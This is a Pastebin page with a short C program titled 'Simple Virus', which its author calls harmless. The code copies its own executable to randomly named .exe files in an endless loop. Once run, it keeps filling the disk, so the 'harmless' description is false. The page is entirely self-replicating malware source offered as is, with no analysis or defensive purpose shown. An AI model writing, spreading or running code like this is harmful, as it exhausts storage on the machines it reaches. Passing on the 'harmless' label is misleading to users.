Advertisement
B1KMusic

Simple Virus

Nov 26th, 2015
334
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.84 KB | None | 0 0
  1. /* simple-virus.c by Braden Best
  2.  * Harmless virus that copies itself foever
  3.  */
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7.  
  8. #define FILE_TEMPLATE "XXXXX.exe"
  9.  
  10. char randletter(){
  11.     return (rand() % 2 ? 'a' : 'A') + rand() % 26;
  12. }
  13.  
  14. void randfname(char *str){
  15.     while(*str)
  16.         *(str++) = randletter();
  17.  
  18.     strcpy(str - 4, ".exe");
  19. }
  20.  
  21. void filecp(FILE *dest, FILE *src){
  22.     int c;
  23.  
  24.     while((c = fgetc(src)) != EOF)
  25.         fputc(c, dest);
  26. }
  27.  
  28. void copyself(char *self, char *fname){
  29.     FILE *src = fopen(self, "rb"),
  30.          *dest = fopen(fname, "wb");
  31.  
  32.     filecp(dest, src);
  33.  
  34.     fclose(src);
  35.     fclose(dest);
  36. }
  37.  
  38. int main(int _, char **args){
  39.     char fname[] = FILE_TEMPLATE,
  40.          *self = *args;
  41.  
  42.     srand(time(0));
  43.  
  44.     while(1){
  45.         randfname(fname);
  46.         copyself(self, fname);
  47.     }
  48. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement